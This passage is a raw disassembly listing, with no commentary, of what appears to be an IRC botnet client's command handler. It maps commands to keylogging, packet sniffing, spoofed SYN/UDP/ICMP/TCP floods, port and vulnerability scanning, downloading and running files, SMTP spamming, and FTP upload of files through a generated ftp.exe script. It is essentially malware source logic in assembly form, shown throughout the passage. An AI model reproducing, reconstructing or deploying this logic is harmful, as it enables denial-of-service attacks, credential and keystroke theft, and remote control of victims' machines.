"box.cm" call sub_415910 pop ecx test eax, eax pop ecx jz loc_411332 push [ebp+arg_8] push offset aBox_readfile ; "box.readfile" call sub_415910 pop ecx test eax, eax pop ecx jz loc_4112AD push [ebp+arg_8] push offset aBox_rf ; "box.rf" call sub_415910 pop ecx test eax, eax pop ecx jz loc_4112AD push [ebp+arg_8] push offset aSniff ; "sniff" call sub_415910 pop ecx test eax, eax pop ecx jnz loc_40EB3B push edi push offset aOn ; "on" call sub_415910 pop ecx test eax, eax pop ecx jnz loc_40EB06 push 18h call sub_4151DB test eax, eax pop ecx jle short loc_40EA33 push offset unk_4359C0 jmp loc_40EBA7 ; --------------------------------------------------------------------------- loc_40EA33: ; CODE XREF: sub_40CE55+1BD2j mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_8C] mov [ebp+var_4DC], eax mov eax, [ebp+var_4] mov [ebp+var_454], eax mov eax, [ebp+var_8] cmp esi, ebx mov [ebp+var_450], eax jnz short loc_40EA75 mov esi, offset dword_42C24C push offset byte_438FBC push esi call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_40EA75 mov esi, [ebp+var_8C] loc_40EA75: ; CODE XREF: sub_40CE55+1C02j ; sub_40CE55+1C18j push esi lea eax, [ebp+var_4D8] push 80h push eax call sub_415A6A lea eax, [ebp+var_2C8] push offset unk_43597C push eax call sub_4154E7 push ebx lea eax, [ebp+var_2C8] push 18h push eax call sub_414F93 add esp, 20h mov [ebp+var_458], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4DC] push ebx push eax push offset sub_4024DC push ebx push ebx call dword_42108C ; CreateThread mov ecx, [ebp+var_458] imul ecx, 234h cmp eax, ebx mov dword_43F53C[ecx], eax jz short loc_40EAF5 loc_40EADF: ; CODE XREF: sub_40CE55+1C9Ej cmp [ebp+var_44C], ebx jnz loc_40ECC3 push 32h call dword_421060 ; Sleep jmp short loc_40EADF ; --------------------------------------------------------------------------- loc_40EAF5: ; CODE XREF: sub_40CE55+1C88j call dword_421088 ; RtlGetLastWin32Error push eax push offset unk_43592C jmp loc_40ECB4 ; --------------------------------------------------------------------------- loc_40EB06: ; CODE XREF: sub_40CE55+1BC2j push edi push offset aOff ; "off" call sub_415910 pop ecx test eax, eax pop ecx jnz loc_40ECC3 push ebx push 18h call sub_41518E pop ecx cmp eax, ebx pop ecx jle short loc_40EB34 push eax push offset unk_4358DC jmp loc_40ECB4 ; --------------------------------------------------------------------------- loc_40EB34: ; CODE XREF: sub_40CE55+1CD2j push offset unk_4358A0 jmp short loc_40EBA7 ; --------------------------------------------------------------------------- loc_40EB3B: ; CODE XREF: sub_40CE55+1BADj push [ebp+arg_8] push offset aBox_keylog ; "box.keylog" call sub_415910 pop ecx test eax, eax pop ecx jnz loc_40ECED push edi push offset aOn ; "on" call sub_415910 pop ecx test eax, eax pop ecx jz short loc_40EBBA push edi push offset aFile ; "file" call sub_415910 pop ecx test eax, eax pop ecx jz short loc_40EBBA push edi push offset aOff ; "off" call sub_415910 pop ecx test eax, eax pop ecx jnz loc_40ECC3 push ebx push 1Ah call sub_41518E pop ecx cmp eax, ebx pop ecx jle short loc_40EBA2 push eax push offset unk_435844 jmp loc_40ECB4 ; --------------------------------------------------------------------------- loc_40EBA2: ; CODE XREF: sub_40CE55+1D40j push offset unk_435804 loc_40EBA7: ; CODE XREF: sub_40CE55+1BD9j ; sub_40CE55+1CE4j ... lea eax, [ebp+var_2C8] push eax call sub_4154E7 pop ecx pop ecx jmp loc_40ECC3 ; --------------------------------------------------------------------------- loc_40EBBA: ; CODE XREF: sub_40CE55+1D0Cj ; sub_40CE55+1D1Dj push 1Ah call sub_4151DB test eax, eax pop ecx jle short loc_40EBCD push offset unk_4357D0 jmp short loc_40EBA7 ; --------------------------------------------------------------------------- loc_40EBCD: ; CODE XREF: sub_40CE55+1D6Fj mov eax, [ebp+arg_4] push edi mov [ebp+var_4DC], eax mov eax, [ebp+var_4] push offset aFile ; "file" mov [ebp+var_454], eax call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_40EBFC mov [ebp+var_450], 1 jmp short loc_40EC05 ; --------------------------------------------------------------------------- loc_40EBFC: ; CODE XREF: sub_40CE55+1D99j mov eax, [ebp+var_8] mov [ebp+var_450], eax loc_40EC05: ; CODE XREF: sub_40CE55+1DA5j mov esi, [ebp+esi+var_8C] cmp esi, ebx jnz short loc_40EC2C mov esi, offset dword_42C248 push offset byte_438FBC push esi call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_40EC2C mov esi, [ebp+var_8C] loc_40EC2C: ; CODE XREF: sub_40CE55+1DB9j ; sub_40CE55+1DCFj push esi lea eax, [ebp+var_4D4] push 80h push eax call sub_415A6A lea eax, [ebp+var_2C8] push offset unk_43579C push eax call sub_4154E7 push ebx lea eax, [ebp+var_2C8] push 1Ah push eax call sub_414F93 add esp, 20h mov [ebp+var_4D8], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4DC] push ebx push eax push offset sub_4021FB push ebx push ebx call dword_42108C ; CreateThread mov ecx, [ebp+var_4D8] imul ecx, 234h cmp eax, ebx mov dword_43F53C[ecx], eax jz short loc_40ECA8 loc_40EC96: ; CODE XREF: sub_40CE55+1E51j cmp [ebp+var_44C], ebx jnz short loc_40ECC3 push 32h call dword_421060 ; Sleep jmp short loc_40EC96 ; --------------------------------------------------------------------------- loc_40ECA8: ; CODE XREF: sub_40CE55+1E3Fj call dword_421088 ; RtlGetLastWin32Error push eax push offset unk_43574C loc_40ECB4: ; CODE XREF: sub_40CE55+1CACj ; sub_40CE55+1CDAj ... lea eax, [ebp+var_2C8] push eax call sub_4154E7 add esp, 0Ch loc_40ECC3: ; CODE XREF: sub_40CE55+1C90j ; sub_40CE55+1CC0j ... cmp [ebp+var_8], ebx jnz loc_40D7F9 push ebx lea eax, [ebp+var_2C8] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_412D4C add esp, 14h jmp loc_40D7F9 ; --------------------------------------------------------------------------- loc_40ECED: ; CODE XREF: sub_40CE55+1CF7j push [ebp+arg_8] push offset aBox_net ; "box.net" call sub_415910 pop ecx test eax, eax pop ecx jnz loc_40EFBE cmp dword_43A468, ebx jz short loc_40ED1E cmp dword_43A490, ebx jz short loc_40ED1E push offset dword_4356F8 jmp loc_40EF78 ; --------------------------------------------------------------------------- loc_40ED1E: ; CODE XREF: sub_40CE55+1EB5j ; sub_40CE55+1EBDj cmp [ebp+var_C], ebx jz loc_40EF86 mov eax, [ebp+esi+var_8C] mov [ebp+arg_0], ebx cmp eax, ebx mov [ebp+arg_18], eax jz short loc_40ED46 push eax push [ebp+var_C] call sub_415AC0 pop ecx mov [ebp+arg_0], eax pop ecx loc_40ED46: ; CODE XREF: sub_40CE55+1EE1j push edi push offset aStart ; "start" call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_40EDAC cmp [ebp+arg_18], ebx jz short loc_40ED80 push [ebp+arg_0] push 3 loc_40ED61: ; CODE XREF: sub_40CE55+1F6Dj ; sub_40CE55+1F85j ... call sub_412DE7 push eax lea eax, [ebp+var_2C8] push offset aS_1 ; "%s" push eax call sub_4154E7 add esp, 14h jmp loc_40EF86 ; --------------------------------------------------------------------------- loc_40ED80: ; CODE XREF: sub_40CE55+1F05j push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_41308E add esp, 0Ch test eax, eax jz short loc_40EDA2 push offset dword_4356C0 jmp loc_40EF78 ; --------------------------------------------------------------------------- loc_40EDA2: ; CODE XREF: sub_40CE55+1F41j push offset dword_43568C jmp loc_40EF78 ; --------------------------------------------------------------------------- loc_40EDAC: ; CODE XREF: sub_40CE55+1F00j push edi push offset aStop ; "stop" call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_40EDC4 push [ebp+arg_0] push 4 jmp short loc_40ED61 ; --------------------------------------------------------------------------- loc_40EDC4: ; CODE XREF: sub_40CE55+1F66j push edi push offset aPause ; "pause" call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_40EDDC push [ebp+arg_0] push 5 jmp short loc_40ED61 ; --------------------------------------------------------------------------- loc_40EDDC: ; CODE XREF: sub_40CE55+1F7Ej push edi push offset aContinue ; "continue" call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_40EDF7 push [ebp+arg_0] push 6 jmp loc_40ED61 ; --------------------------------------------------------------------------- loc_40EDF7: ; CODE XREF: sub_40CE55+1F96j push edi push offset aDelete ; "delete" call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_40EE12 push [ebp+arg_0] push 1 jmp loc_40ED61 ; --------------------------------------------------------------------------- loc_40EE12: ; CODE XREF: sub_40CE55+1FB1j push edi push offset aShare ; "share" call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_40EE8F cmp [ebp+arg_18], ebx jz short loc_40EE62 cmp [ebp+var_9B0], bl jz short loc_40EE38 push ebx push [ebp+arg_18] push 1 jmp short loc_40EE43 ; --------------------------------------------------------------------------- loc_40EE38: ; CODE XREF: sub_40CE55+1FD9j push [ebp+esi+var_88] push [ebp+arg_18] push ebx loc_40EE43: ; CODE XREF: sub_40CE55+1FE1j call sub_4131CB push eax lea eax, [ebp+var_2C8] push offset aS_1 ; "%s" push eax call sub_4154E7 add esp, 18h jmp loc_40EF86 ; --------------------------------------------------------------------------- loc_40EE62: ; CODE XREF: sub_40CE55+1FD1j push ebx push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_4133C0 add esp, 10h test eax, eax jz short loc_40EE85 push offset dword_435638 jmp loc_40EF78 ; --------------------------------------------------------------------------- loc_40EE85: ; CODE XREF: sub_40CE55+2024j push offset dword_435604 jmp loc_40EF78 ; --------------------------------------------------------------------------- loc_40EE8F: ; CODE XREF: sub_40CE55+1FCCj push edi push offset aUser ; "user" call sub_415910 pop ecx test eax, eax pop ecx jnz loc_40EF2B mov eax, [ebp+arg_18] cmp eax, ebx jz short loc_40EF04 cmp [ebp+var_9B0], bl jz short loc_40EEC5 push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] push ebx push eax push 1 jmp short loc_40EEE5 ; --------------------------------------------------------------------------- loc_40EEC5: ; CODE XREF: sub_40CE55+205Cj push [ebp+var_4] mov esi, [ebp+esi+var_88] cmp esi, ebx push [ebp+var_8C] push [ebp+arg_4] jz short loc_40EEE1 push esi push eax push ebx jmp short loc_40EEE5 ; --------------------------------------------------------------------------- loc_40EEE1: ; CODE XREF: sub_40CE55+2085j push ebx push eax push 2 loc_40EEE5: ; CODE XREF: sub_40CE55+206Ej ; sub_40CE55+208Aj call sub_4134E1 push eax lea eax, [ebp+var_2C8] push offset aS_1 ; "%s" push eax call sub_4154E7 add esp, 24h jmp loc_40EF86 ; --------------------------------------------------------------------------- loc_40EF04: ; CODE XREF: sub_40CE55+2054j push ebx push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_4139F5 add esp, 10h test eax, eax jz short loc_40EF24 push offset dword_4355C8 jmp short loc_40EF78 ; --------------------------------------------------------------------------- loc_40EF24: ; CODE XREF: sub_40CE55+20C6j push offset dword_435598 jmp short loc_40EF78 ; --------------------------------------------------------------------------- loc_40EF2B: ; CODE XREF: sub_40CE55+2049j push edi push offset aSend ; "send" call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_40EF73 cmp [ebp+arg_18], ebx jz short loc_40EF6C push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] push [ebp+arg_0] call sub_413CA9 push eax lea eax, [ebp+var_2C8] push offset aS_1 ; "%s" push eax call sub_4154E7 add esp, 1Ch jmp short loc_40EF86 ; --------------------------------------------------------------------------- loc_40EF6C: ; CODE XREF: sub_40CE55+20EAj push offset dword_435564 jmp short loc_40EF78 ; --------------------------------------------------------------------------- loc_40EF73: ; CODE XREF: sub_40CE55+20E5j push offset dword_435534 loc_40EF78: ; CODE XREF: sub_40CE55+1EC4j ; sub_40CE55+1F48j ... lea eax, [ebp+var_2C8] push eax call sub_4154E7 pop ecx pop ecx loc_40EF86: ; CODE XREF: sub_40CE55+1ECCj ; sub_40CE55+1F26j ... cmp [ebp+var_8], ebx jnz short loc_40EFA7 push ebx lea eax, [ebp+var_2C8] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_412D4C add esp, 14h loc_40EFA7: ; CODE XREF: sub_40CE55+2134j ; sub_40CE55+44CDj ... mov esi, [ebp+arg_24] loc_40EFAA: ; CODE XREF: sub_40CE55+9A7j ; sub_40CE55+47A8j ... lea eax, [ebp+var_2C8] push eax call sub_40B16D pop ecx mov eax, esi jmp loc_40D21C ; --------------------------------------------------------------------------- loc_40EFBE: ; CODE XREF: sub_40CE55+1EA9j push [ebp+arg_8] push offset aEnz_gethost ; "enz.gethost" call sub_415910 pop ecx test eax, eax pop ecx jz loc_4111C9 push [ebp+arg_8] push offset aEnz_gh ; "enz.gh" call sub_415910 pop ecx test eax, eax pop ecx jz loc_4111C9 mov eax, [ebp+esi+var_8C] cmp eax, ebx mov [ebp+arg_18], eax jz loc_40D219 push [ebp+arg_8] push offset aEnz_addalias ; "enz.addalias" call sub_415910 pop ecx test eax, eax pop ecx jz loc_41118A push [ebp+arg_8] push offset aEnz_aa ; "enz.aa" call sub_415910 pop ecx test eax, eax pop ecx jz loc_41118A push [ebp+arg_8] push offset aEnz_privmsg ; "enz.privmsg" call sub_415910 pop ecx test eax, eax pop ecx jz loc_411137 push [ebp+arg_8] push offset aEnz_pm ; "enz.pm" call sub_415910 pop ecx test eax, eax pop ecx jz loc_411137 push [ebp+arg_8] push offset aEnz_action ; "enz.action" call sub_415910 pop ecx test eax, eax pop ecx jz loc_4110C9 push [ebp+arg_8] push offset aEnz_ac ; "enz.ac" call sub_415910 pop ecx test eax, eax pop ecx jz loc_4110C9 push [ebp+arg_8] push offset aEnz_cycle ; "enz.cycle" call sub_415910 pop ecx test eax, eax pop ecx jz loc_411066 push [ebp+arg_8] push offset aEnz_cy ; "enz.cy" call sub_415910 pop ecx test eax, eax pop ecx jz loc_411066 push [ebp+arg_8] push offset aEnz_mode ; "enz.mode" call sub_415910 pop ecx test eax, eax pop ecx jz loc_411027 push [ebp+arg_8] push offset aEnz_m ; "enz.m" call sub_415910 pop ecx test eax, eax pop ecx jz loc_411027 push [ebp+arg_8] push offset aClone_raw ; "clone.raw" call sub_415910 pop ecx test eax, eax pop ecx jz loc_410FBC push [ebp+arg_8] push offset aClone_ra ; "clone.ra" call sub_415910 pop ecx test eax, eax pop ecx jz loc_410FBC push [ebp+arg_8] push offset aClone_mode ; "clone.mode" call sub_415910 pop ecx test eax, eax pop ecx jz loc_410F3A push [ebp+arg_8] push offset aClone_m ; "clone.m" call sub_415910 pop ecx test eax, eax pop ecx jz loc_410F3A push [ebp+arg_8] push offset aClone_nick ; "clone.nick" call sub_415910 pop ecx test eax, eax pop ecx jz loc_410EC9 push [ebp+arg_8] push offset aClone_ni ; "clone.ni" call sub_415910 pop ecx test eax, eax pop ecx jz loc_410EC9 push [ebp+arg_8] push offset aClone_join ; "clone.join" call sub_415910 pop ecx test eax, eax pop ecx jz loc_410EA3 push [ebp+arg_8] push offset aClone_j ; "clone.j" call sub_415910 pop ecx test eax, eax pop ecx jz loc_410EA3 push [ebp+arg_8] push offset aClone_part ; "clone.part" call sub_415910 pop ecx test eax, eax pop ecx jz loc_410E40 push [ebp+arg_8] push offset aClone_p ; "clone.p" call sub_415910 pop ecx test eax, eax pop ecx jz loc_410E40 push [ebp+arg_8] push offset aEnz_repeat ; "enz.repeat" call sub_415910 pop ecx test eax, eax pop ecx jz loc_410D7A push [ebp+arg_8] push offset aEnz_rp ; "enz.rp" call sub_415910 pop ecx test eax, eax pop ecx jz loc_410D7A push [ebp+arg_8] push offset aEnz_delay ; "enz.delay" call sub_415910 pop ecx test eax, eax pop ecx jz loc_410CDF push [ebp+arg_8] push offset aEnz_de ; "enz.de" call sub_415910 pop ecx test eax, eax pop ecx jz loc_410CDF push [ebp+arg_8] push offset aDownload_updiz ; "download.updiz" call sub_415910 pop ecx test eax, eax pop ecx jz loc_410B61 push [ebp+arg_8] push offset aDownload_upz ; "download.upz" call sub_415910 pop ecx test eax, eax pop ecx jz loc_410B61 push [ebp+arg_8] push offset aBox_execute ; "box.execute" call sub_415910 pop ecx test eax, eax pop ecx jz loc_410AC0 push [ebp+arg_8] push offset aBox_e ; "box.e" call sub_415910 pop ecx test eax, eax pop ecx jz loc_410AC0 push [ebp+arg_8] push offset aBox_findfile ; "box.findfile" call sub_415910 pop ecx test eax, eax pop ecx jz loc_4109C2 push [ebp+arg_8] push offset aBox_ff ; "box.ff" call sub_415910 pop ecx test eax, eax pop ecx jz loc_4109C2 push [ebp+arg_8] push offset aBox_rename ; "box.rename" call sub_415910 pop ecx test eax, eax pop ecx jz loc_410971 push [ebp+arg_8] push offset aBox_mv ; "box.mv" call sub_415910 pop ecx test eax, eax pop ecx jz loc_410971 push [ebp+arg_8] push offset aDdos_icmp ; "ddos.icmp" call sub_415910 pop ecx test eax, eax pop ecx jz loc_410876 push [ebp+arg_8] push offset aDdos_ic ; "ddos.ic" call sub_415910 pop ecx test eax, eax pop ecx jz loc_410876 mov eax, [ebp+esi+var_88] cmp eax, ebx mov [ebp+arg_0], eax jz loc_40D219 push [ebp+arg_8] push offset aClone_make ; "clone.make" call sub_415910 pop ecx test eax, eax pop ecx jz loc_41078B push [ebp+arg_8] push offset aClone_start ; "clone.start" call sub_415910 pop ecx test eax, eax pop ecx jz loc_41078B push [ebp+arg_8] push offset aDs_sy1 ; "ds.sy1" call sub_415910 pop ecx test eax, eax pop ecx jz loc_410686 push [ebp+arg_8] push offset aDs_ack ; "ds.ack" call sub_415910 pop ecx test eax, eax pop ecx jz loc_410686 push [ebp+arg_8] push offset aDs_rm ; "ds.rm" call sub_415910 pop ecx test eax, eax pop ecx jz loc_410686 push [ebp+arg_8] push offset aDdos_synflood ; "ddos.synflood" call sub_415910 pop ecx test eax, eax pop ecx jz loc_410588 push [ebp+arg_8] push offset aSy1 ; "sy1" call sub_415910 pop ecx test eax, eax pop ecx jz loc_410588 push [ebp+arg_8] push offset aDownload_fromw ; "download.fromwww" call sub_415910 pop ecx test eax, eax pop ecx jz loc_41044A push [ebp+arg_8] push offset aD1 ; "d1" call sub_415910 pop ecx test eax, eax pop ecx jz loc_41044A push [ebp+arg_8] push offset aServer_redir_0 ; "server.redirect.on" call sub_415910 pop ecx test eax, eax pop ecx jz loc_410350 push [ebp+arg_8] push offset aServer_rd_on ; "server.rd.on" call sub_415910 pop ecx test eax, eax pop ecx jz loc_410350 push [ebp+arg_8] push offset aEnz_portscan ; "enz.portscan" call sub_415910 pop ecx test eax, eax pop ecx jz loc_41025D push [ebp+arg_8] push offset aEnz_ps ; "enz.ps" call sub_415910 pop ecx test eax, eax pop ecx jz loc_41025D push [ebp+arg_8] push offset aClone_privmsg ; "clone.privmsg" call sub_415910 pop ecx test eax, eax pop ecx jz loc_410188 push [ebp+arg_8] push offset aClone_pm ; "clone.pm" call sub_415910 pop ecx test eax, eax pop ecx jz loc_410188 push [ebp+arg_8] push offset aClone_action ; "clone.action" call sub_415910 pop ecx test eax, eax pop ecx jz loc_410073 push [ebp+arg_8] push offset aClone_ac ; "clone.ac" call sub_415910 pop ecx test eax, eax pop ecx jz loc_410073 mov eax, [ebp+esi+var_84] cmp eax, ebx mov [ebp+arg_10], eax jz loc_40D219 push [ebp+arg_8] push offset aVuln_start ; "vuln.start" call sub_415910 pop ecx test eax, eax pop ecx jz loc_40FD1A push [ebp+arg_8] push offset aVvv ; "vvv" call sub_415910 pop ecx test eax, eax pop ecx jz loc_40FD1A push [ebp+arg_8] push offset aDdos_udpflood ; "ddos.udpflood" call sub_415910 pop ecx test eax, eax pop ecx jz loc_40FBFA push [ebp+arg_8] push offset aDdos_udpf ; "ddos.udpf" call sub_415910 pop ecx test eax, eax pop ecx jz loc_40FBFA push [ebp+arg_8] push offset aPu ; "pu" call sub_415910 pop ecx test eax, eax pop ecx jz loc_40FBFA push [ebp+arg_8] push offset aDdos_pingflood ; "ddos.pingflood" call sub_415910 pop ecx test eax, eax pop ecx jz loc_40FAC7 push [ebp+arg_8] push offset aDdos_pingf ; "ddos.pingf" call sub_415910 pop ecx test eax, eax pop ecx jz loc_40FAC7 push [ebp+arg_8] push offset aPg ; "pg" call sub_415910 pop ecx test eax, eax pop ecx jz loc_40FAC7 push [ebp+arg_8] push offset aDdos_tcpflood ; "ddos.tcpflood" call sub_415910 pop ecx test eax, eax pop ecx jz loc_40F934 push [ebp+arg_8] push offset aUsa ; "usa" call sub_415910 pop ecx test eax, eax pop ecx jz loc_40F934 push [ebp+arg_8] push offset aUtil_email ; "util.email" call sub_415910 pop ecx test eax, eax pop ecx jnz loc_40F73D lea eax, [ebp+var_3E4] push edi push eax call sub_415C00 push [ebp+arg_18] call sub_415A5F push [ebp+arg_0] mov [ebp+arg_18], eax lea eax, [ebp+var_D9C] push eax call sub_415C00 push [ebp+arg_10] lea eax, [ebp+var_B94] push eax call sub_415C00 push offset asc_426A00 ; " " push offset a_ ; "_" push [ebp+esi+var_80] call sub_4099AA push eax lea eax, [ebp+var_548] push eax call sub_415C00 add esp, 30h lea eax, [ebp+var_6F4] push eax push 101h call dword_43A310 ; WSAStartup lea eax, [ebp+var_3E4] push eax call dword_43A41C ; gethostbyname push 6 push 1 push 2 mov edi, eax call dword_43A418 ; socket push [ebp+arg_18] mov esi, eax mov [ebp+var_2D8], 2 mov eax, [edi+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_2D4], eax call dword_43A398 ; ntohs mov [ebp+var_2D6], ax lea eax, [ebp+var_548] push eax lea eax, [ebp+var_D9C] push eax lea eax, [ebp+var_548] push eax lea eax, [ebp+var_B94] push eax lea eax, [ebp+var_D9C] push eax lea eax, [ebp+var_159C] push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "... push eax call sub_4154E7 add esp, 1Ch lea eax, [ebp+var_2D8] push 10h push eax push esi call dword_43A340 ; connect mov edi, 100h push ebx lea eax, [ebp+var_C98] push edi push eax push esi call dword_43A3B0 ; recv lea eax, [ebp+var_C98] push ebx push eax call sub_415CF0 pop ecx push eax lea eax, [ebp+var_159C] push eax push esi call dword_43A3E8 ; send push ebx lea eax, [ebp+var_C98] push edi push eax push esi call dword_43A3B0 ; recv push esi call dword_43A430 ; closesocket call dword_43A2F8 ; WSACleanup lea eax, [ebp+var_B94] push eax push offset unk_4351E0 loc_40F704: ; CODE XREF: sub_40CE55+3A1Cj ; sub_40CE55+3D07j ... lea eax, [ebp+var_2C8] push eax call sub_4154E7 add esp, 0Ch loc_40F713: ; CODE XREF: sub_40CE55+3A00j ; sub_40CE55+3CABj ... cmp [ebp+var_8], ebx jnz loc_4124D6 push ebx lea eax, [ebp+var_2C8] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_412D4C add esp, 14h jmp loc_4124D6 ; --------------------------------------------------------------------------- loc_40F73D: ; CODE XREF: sub_40CE55+2759j push [ebp+arg_8] push offset aUtil_httpcon ; "util.httpcon" call sub_415910 pop ecx test eax, eax pop ecx jz loc_40F906 push [ebp+arg_8] push offset aUtil_hcon ; "util.hcon" call sub_415910 pop ecx test eax, eax pop ecx jz loc_40F906 mov esi, [ebp+esi+var_80] cmp esi, ebx jz loc_40D219 push [ebp+arg_8] push offset aFtp_upload ; "ftp.upload" call sub_415910 pop ecx test eax, eax pop ecx jnz loc_41298E push 4 push esi call sub_40C1FE pop ecx test eax, eax pop ecx jnz short loc_40F7DB push esi push offset dword_435184 loc_40F7A2: ; CODE XREF: sub_40CE55+2C63j ; sub_40CE55+3219j ... lea eax, [ebp+var_2C8] push eax call sub_4154E7 add esp, 0Ch loc_40F7B1: ; CODE XREF: sub_40CE55+2C47j ; sub_40CE55+31FDj ... cmp [ebp+var_8], ebx jnz loc_41284E push ebx push [ebp+var_4] loc_40F7BE: ; CODE XREF: sub_40CE55+382Cj lea eax, [ebp+var_2C8] push eax push [ebp+var_8C] push [ebp+arg_4] loc_40F7CE: ; CODE XREF: sub_40CE55+50D1j call sub_412D4C add esp, 14h jmp loc_41284E ; --------------------------------------------------------------------------- loc_40F7DB: ; CODE XREF: sub_40CE55+2945j call dword_42104C ; GetTickCount push eax call sub_415539 pop ecx call sub_415543 push 9 cdq pop ecx idiv ecx push edx call sub_415543 push 63h cdq pop ecx idiv ecx push edx call sub_415543 cdq mov ecx, 3E7h idiv ecx lea eax, [ebp+var_C9C] push edx push eax lea eax, [ebp+var_B98] push offset aSIII_dll ; "%s\\%i%i%i.dll" push eax call sub_4154E7 lea eax, [ebp+var_B98] push offset aAb ; "ab" push eax call sub_415BE8 add esp, 20h cmp eax, ebx mov [ebp+arg_24], eax jz loc_40D219 push esi push [ebp+arg_10] push [ebp+arg_0] push [ebp+arg_18] push edi push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n" push eax call sub_415B96 push [ebp+arg_24] call sub_415B40 lea eax, [ebp+var_B98] push eax lea eax, [ebp+var_3E4] push offset aSS_4 ; "-s:%s" push eax call sub_4154E7 add esp, 2Ch lea eax, [ebp+var_3E4] push ebx push ebx push eax push offset aFtp_exe ; "ftp.exe" push offset aOpen ; "open" push ebx call dword_43A30C ; ShellExecuteA test eax, eax push edi push esi jz short loc_40F8A5 push offset dword_435108 jmp short loc_40F8AA ; --------------------------------------------------------------------------- loc_40F8A5: ; CODE XREF: sub_40CE55+2A47j push offset dword_4350C8 loc_40F8AA: ; CODE XREF: sub_40CE55+2A4Ej call sub_4154E7 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_40F8D3 push ebx lea eax, [ebp+var_2C8] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_412D4C add esp, 14h loc_40F8D3: ; CODE XREF: sub_40CE55+2A60j lea eax, [ebp+var_2C8] push eax call sub_40B16D loc_40F8DF: ; CODE XREF: sub_40CE55+2AAFj lea eax, [ebp+var_B98] push 4 push eax call sub_40C1FE add esp, 0Ch test eax, eax jz loc_40D219 lea eax, [ebp+var_B98] push eax call sub_4178FC jmp short loc_40F8DF ; --------------------------------------------------------------------------- loc_40F906: ; CODE XREF: sub_40CE55+28F9j ; sub_40CE55+2910j push [ebp+esi+var_80] push [ebp+arg_10] push [ebp+arg_0] push [ebp+arg_18] call sub_415A5F pop ecx push eax push edi push [ebp+var_8] push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_406B1D jmp loc_41298B ; --------------------------------------------------------------------------- loc_40F934: ; CODE XREF: sub_40CE55+272Bj ; sub_40CE55+2742j mov esi, 80h push edi lea eax, [ebp+var_680] push esi push eax call sub_415A6A lea eax, [ebp+var_680] push eax push offset aSyn ; "syn" call sub_415910 add esp, 14h test eax, eax jz short loc_40F997 lea eax, [ebp+var_680] push eax push offset aAck ; "ack" call sub_415910 pop ecx test eax, eax pop ecx jz short loc_40F997 lea eax, [ebp+var_680] push eax push offset aRandom ; "random" call sub_415910 pop ecx test eax, eax pop ecx jz short loc_40F997 push offset dword_43508C jmp loc_41202C ; --------------------------------------------------------------------------- loc_40F997: ; CODE XREF: sub_40CE55+2B08j ; sub_40CE55+2B1Fj ... push [ebp+arg_10] call sub_415A5F cmp eax, ebx pop ecx mov [ebp+var_578], eax jle loc_40FABD push edi lea eax, [ebp+var_680] push esi push eax call sub_415A6A push [ebp+arg_18] lea eax, [ebp+var_700] push esi push eax call sub_415A6A push [ebp+arg_0] call sub_415A5F mov [ebp+var_57C], eax xor eax, eax cmp [ebp+var_9A2], bl push [ebp+var_8C] setnz al mov [ebp+var_574], eax mov eax, [ebp+arg_4] mov [ebp+var_704], eax lea eax, [ebp+var_600] push esi push eax call sub_415A6A mov eax, [ebp+var_4] add esp, 28h cmp [ebp+var_574], ebx mov [ebp+var_570], eax mov eax, [ebp+var_8] mov [ebp+var_56C], eax mov eax, offset aSpoofed ; "Spoofed" jnz short loc_40FA2E mov eax, offset aNormal ; "Normal" loc_40FA2E: ; CODE XREF: sub_40CE55+2BD2j push [ebp+arg_10] push [ebp+arg_0] push [ebp+arg_18] push edi push eax push offset dword_435034 lea eax, [ebp+var_2C8] push 200h push eax call sub_415A6A push ebx lea eax, [ebp+var_2C8] push 0Ch push eax call sub_414F93 add esp, 2Ch mov [ebp+var_580], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_704] push ebx push eax push offset sub_401BD6 push ebx push ebx call dword_42108C ; CreateThread mov ecx, [ebp+var_580] imul ecx, 234h cmp eax, ebx mov dword_43F53C[ecx], eax jz short loc_40FAAC loc_40FA96: ; CODE XREF: sub_40CE55+2C55j cmp [ebp+var_568], ebx jnz loc_40F7B1 push 32h call dword_421060 ; Sleep jmp short loc_40FA96 ; --------------------------------------------------------------------------- loc_40FAAC: ; CODE XREF: sub_40CE55+2C3Fj call dword_421088 ; RtlGetLastWin32Error push eax push offset dword_434FE8 jmp loc_40F7A2 ; --------------------------------------------------------------------------- loc_40FABD: ; CODE XREF: sub_40CE55+2B53j push offset dword_434F9C jmp loc_41202C ; --------------------------------------------------------------------------- loc_40FAC7: ; CODE XREF: sub_40CE55+26E6j ; sub_40CE55+26FDj ... cmp dword_43A488, ebx mov esi, [ebp+arg_4] jnz loc_40FBCF mov eax, [ebp+var_8] push 7Fh mov [ebp+var_2EC], eax mov eax, [ebp+var_4] mov [ebp+var_2F0], eax lea eax, [ebp+var_384] push edi push eax call sub_416D40 push [ebp+arg_18] call sub_415A5F push [ebp+arg_0] mov [ebp+var_304], eax call sub_415A5F push [ebp+arg_10] mov [ebp+var_300], eax call sub_415A5F push 7Fh mov [ebp+var_2FC], eax push [ebp+var_8C] lea 